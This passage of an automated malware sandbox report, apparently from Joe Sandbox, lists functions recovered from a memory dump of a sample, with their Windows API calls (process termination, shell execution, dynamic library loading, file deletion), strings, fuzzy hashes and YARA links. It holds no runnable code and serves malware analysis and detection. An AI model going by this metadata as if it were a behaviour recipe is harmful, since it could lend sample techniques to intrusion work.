Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00AE1BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 00AE1BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00AE1C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00AE1C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 00AE1C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00AE1C22

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: ba05e247aeeb5c02a2b872c0b5a1f1d0bf45d98a347fc3c4171d94652a647278
Instruction ID: 731b940c37fcd3450262dc740a47f917091a9d2de9a055d661180ac16045cbdc
Opcode Fuzzy Hash: ba05e247aeeb5c02a2b872c0b5a1f1d0bf45d98a347fc3c4171d94652a647278
Instruction Fuzzy Hash: E8016CB09027597DE3008F5A8C85B52FFA8FF19754F00411F915C47941C7F5A864CBE5

Function 00B4EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00B4EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00B4EB46
GetWindowThreadProcessId.USER32(?,?), ref: 00B4EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B4EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B4EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B4EB75

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: cf2d4396030ae0163eebf70e7e811cda5ce9958e7ad4d0f657473377a456aa5d
Instruction ID: fbe69506c1552301d352aef6d5b9e4ec08efdc172d9196ebfd85b219fd6e7c2d
Opcode Fuzzy Hash: cf2d4396030ae0163eebf70e7e811cda5ce9958e7ad4d0f657473377a456aa5d
Instruction Fuzzy Hash: 9CF03072140158BBE72157529C4DEEF3E7CEFCAB11F00016CF615E3091DBA05A41C6B5

Function 00B37439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00B37452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00B37469
GetWindowDC.USER32(?), ref: 00B37475
GetPixel.GDI32(00000000,?,?), ref: 00B37484
ReleaseDC.USER32(?,00000000), ref: 00B37496
GetSysColor.USER32(00000005), ref: 00B374B0

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: e0213ecf0144a949747f9351fae527be5e173c46fea7e608b445ee4edcab6163
Instruction ID: 51001b97c848436f8edd0bec8fd6be61416b7148741581b9dabae8c69e93b3ea
Opcode Fuzzy Hash: e0213ecf0144a949747f9351fae527be5e173c46fea7e608b445ee4edcab6163
Instruction Fuzzy Hash: 65014B31404215EFDB615FA4DC49BAA7FB5FB04311F6101A8F91AA31A1CF312E91EB50

Function 00B41874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00B4187F
UnloadUserProfile.USERENV(?,?), ref: 00B4188B
CloseHandle.KERNEL32(?), ref: 00B41894
CloseHandle.KERNEL32(?), ref: 00B4189C
GetProcessHeap.KERNEL32(00000000,?), ref: 00B418A5
HeapFree.KERNEL32(00000000), ref: 00B418AC

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 63c66c040c3f738b8fbf36dba19356a1de5b628af163071fa6f5ab704df0358d
Instruction ID: 0d070db0870dbc97b102f9cd4fd1a66fbde5fcfc124d4e5af89dc0eadef3ff36
Opcode Fuzzy Hash: 63c66c040c3f738b8fbf36dba19356a1de5b628af163071fa6f5ab704df0358d
Instruction Fuzzy Hash: 71E0E536004101BBEB015FA1ED0C90ABF39FF49B22B50822CF22AA2870CF3294A0DF50

Function 00B4C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE7620: _wcslen.LIBCMT ref: 00AE7625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00B4C6EE
_wcslen.LIBCMT ref: 00B4C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00B4C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00B4C7CA

Strings

0, xrefs: 00B4C6AF

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: fd2c3e5a7e8ee2b6c6d5c3205aa5f9defb1457c1f86bde74e253cfd4a15cb001
Instruction ID: 203b4454638c93ae80a0002976c08221d4ec2cee9d1fa6866018a4f0eddbcada
Opcode Fuzzy Hash: fd2c3e5a7e8ee2b6c6d5c3205aa5f9defb1457c1f86bde74e253cfd4a15cb001
Instruction Fuzzy Hash: 4151FE716063009BD7949F28C885A7BBFE8EF49B14F044AADF995D31A0DB70DE04EB52

Function 00B6AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00B6AEA3

Part of subcall function 00AE7620: _wcslen.LIBCMT ref: 00AE7625

GetProcessId.KERNEL32(00000000), ref: 00B6AF38
CloseHandle.KERNEL32(00000000), ref: 00B6AF67

Strings

@, xrefs: 00B6AE72
<, xrefs: 00B6AE6B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 292cb6477f53200ccd0e86ea0445f4c0982e8d642b85d703fa9a807f60e84135
Instruction ID: 288ac9379c0a4e5a9cd657c1fc82b263802e0b0c21c578632b52529b29dd63cc
Opcode Fuzzy Hash: 292cb6477f53200ccd0e86ea0445f4c0982e8d642b85d703fa9a807f60e84135
Instruction Fuzzy Hash: F8715570A006589FCF14EF55C584A9EBBF0EF08310F148499E81AAB292CB39ED45CFA1

Function 00B4719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00B47206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00B4723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00B4724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00B472CF

Strings

DllGetClassObject, xrefs: 00B47242

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 71735f501673da6cf11527ca234d736524f335f76b0ac1772455aa0c93f648a8
Instruction ID: cbf2d8aff4b923853323152a23e1a953b17afe66c0f2b10ed556eb8fb1fe1f64
Opcode Fuzzy Hash: 71735f501673da6cf11527ca234d736524f335f76b0ac1772455aa0c93f648a8
Instruction Fuzzy Hash: 04412F71644204EFDB15CF64C884AAA7BE9EF45310F1480EDBD099F24ADBB1DA45DBA0

Function 00B73D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B73E35
IsMenu.USER32(?), ref: 00B73E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00B73E92
DrawMenuBar.USER32 ref: 00B73EA5

Strings

0, xrefs: 00B73D89

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 2119176262b9d4ced16a5cee5c55e06cd5f6fa01c5a6d61982057219000b8afa
Instruction ID: d34f9b5f2cb2a7da5a357b750c6d54c7d954607bf3f8caa16d8516c3a5f99c02
Opcode Fuzzy Hash: 2119176262b9d4ced16a5cee5c55e06cd5f6fa01c5a6d61982057219000b8afa
Instruction Fuzzy Hash: 25416B75A01209EFDB10DF54D884EAABBF5FF48750F0481A9F919A7250D730AE45DF60

Function 00B41DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

Part of subcall function 00B43CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B43CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00B41E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00B41E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00B41EA9

Part of subcall function 00AE6B57: _wcslen.LIBCMT ref: 00AE6B6A

Strings

ComboBox, xrefs: 00B41DF0
ListBox, xrefs: 00B41E25

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: b0615f27366a19f9de7aa0c45b8c9f6b3fd6e8e92ad816046897e6fe109ec29b
Instruction ID: 778d4eae07d5b125750b044e541b0c9341f1ce6bf39179c792e951edfd882f6b
Opcode Fuzzy Hash: b0615f27366a19f9de7aa0c45b8c9f6b3fd6e8e92ad816046897e6fe109ec29b
Instruction Fuzzy Hash: 77216B75E40104BEDB14ABA5CD85CFFBBF8DF45350B14495DF825A31E1DB344E8A9620

Function 00B6C9EA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B6C9F1
_wcslen.LIBCMT ref: 00B6CA68
_wcslen.LIBCMT ref: 00B6CA9E
_wcslen.LIBCMT ref: 00B6CAF9
_wcslen.LIBCMT ref: 00B6CB2F
_wcslen.LIBCMT ref: 00B6CB7F

Strings

HKEY_LOCAL_MACHINE, xrefs: 00B6CA62, 00B6CA67
HKLM, xrefs: 00B6CA98, 00B6CA9D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen
String ID: HKEY_LOCAL_MACHINE$HKLM
API String ID: 176396367-4004644295
Opcode ID: ac5a1d5802df583389ac130102d8e977ee1ad0b7a3246163f74f126cb9b33337
Instruction ID: 7169409c938c4edeca1213b5aadb5b108581ba888bc317d2c368a3126e4e8dc3
Opcode Fuzzy Hash: ac5a1d5802df583389ac130102d8e977ee1ad0b7a3246163f74f126cb9b33337
Instruction Fuzzy Hash: A2313673A041694BCB20DFACC9401BF3BD1DBA1740B4500A9EC85AB34DEA78CD8093A0

Function 00B72F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00B72F8D
LoadLibraryW.KERNEL32(?), ref: 00B72F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00B72FA9
DestroyWindow.USER32(?), ref: 00B72FB1

Strings

SysAnimate32, xrefs: 00B72F68

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: eb3a3b2539b4216ae7a966e3952e6917b96639b2c84c66d90fb32fa8fbe4e2b1
Instruction ID: 4258663c03b1a7f5770902b5daada76de736e854f0394376ed98e36d10734ed3
Opcode Fuzzy Hash: eb3a3b2539b4216ae7a966e3952e6917b96639b2c84c66d90fb32fa8fbe4e2b1
Instruction Fuzzy Hash: 15218C72204205ABEF104F68DC80EBB77FDEB69364F108659F968DB1A0D771DC919760

Function 00B04D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00B04D1E,00B128E9,?,00B04CBE,00B128E9,00BA88B8,0000000C,00B04E15,00B128E9,00000002), ref: 00B04D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B04DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00B04D1E,00B128E9,?,00B04CBE,00B128E9,00BA88B8,0000000C,00B04E15,00B128E9,00000002,00000000), ref: 00B04DC3

Strings

mscoree.dll, xrefs: 00B04D86
CorExitProcess, xrefs: 00B04D98

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 130e10698f33dcfe6cb2ed822aa55b9f333f6827665bbb8fafad0caa64887fbd
Instruction ID: 514942de5a91521c05292320704822ad40fe8b6462ac0578185001a39fc5eae5
Opcode Fuzzy Hash: 130e10698f33dcfe6cb2ed822aa55b9f333f6827665bbb8fafad0caa64887fbd
Instruction Fuzzy Hash: E9F03C74A50208ABDB11AB90DC49BAEBFE5EF44751F4401A8A909A26A0CF705D80CB91

Function 00B3D3A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00B3D3AD
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00B3D3BF
FreeLibrary.KERNEL32(00000000), ref: 00B3D3E5

Strings

GetSystemWow64DirectoryW, xrefs: 00B3D3B9
X64, xrefs: 00B3D2A8

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 145871493-2590602151
Opcode ID: aeb5b9be266851dbaad568e62c262aa1a4b7bce17c8f63561886af382cb1bd86
Instruction ID: f16970d9cd584ac885723c4758005a19e0db8f3b4a46e0dda7e078fc14a8f770
Opcode Fuzzy Hash: aeb5b9be266851dbaad568e62c262aa1a4b7bce17c8f63561886af382cb1bd86
Instruction Fuzzy Hash: 96F0207140A6249BD3B11710EC98B6E3AA0EF11701FB480EDF90AF3110DF30CE808686

Function 00AE4E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00AE4EDD,?,00BB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00AE4E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00AE4EAE
FreeLibrary.KERNEL32(00000000,?,?,00AE4EDD,?,00BB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00AE4EC0

Strings

kernel32.dll, xrefs: 00AE4E94
Wow64DisableWow64FsRedirection, xrefs: 00AE4EA8

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 1aadc4e64f1988f4c5569128f5e3a673f6a5f9603deeb66de68c2c08b5f7aafb
Instruction ID: 699b77b3fb4d949d8a5f1ee72fe3f30b51ed4d4e6a9ee16ab3c1bcbb74eca45d
Opcode Fuzzy Hash: 1aadc4e64f1988f4c5569128f5e3a673f6a5f9603deeb66de68c2c08b5f7aafb
Instruction Fuzzy Hash: FAE0CD35E055625BD2311B266C18B9F6ADCAFC5F62B05012DFC08F3610DF64CD4185A0

Function 00AE4E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B23CDE,?,00BB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00AE4E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00AE4E74
FreeLibrary.KERNEL32(00000000,?,?,00B23CDE,?,00BB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00AE4E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 00AE4E6E
kernel32.dll, xrefs: 00AE4E5B

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: ba59efd56679a028af4b67f22162981f8c0cc52b24a617f4ef0387114b58cc6f
Instruction ID: 563ee0e4c22509970f469c76b0f32cd2904059d5e0b2ec524c754ced8afbb462
Opcode Fuzzy Hash: ba59efd56679a028af4b67f22162981f8c0cc52b24a617f4ef0387114b58cc6f
Instruction Fuzzy Hash: 49D012359066615756221B266C18ECF6E5CAF8DF51349456DF909B3524CF60CD41C5D0

Function 00B52947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B52C05
DeleteFileW.KERNEL32(?), ref: 00B52C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00B52C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B52CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B52CC0

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
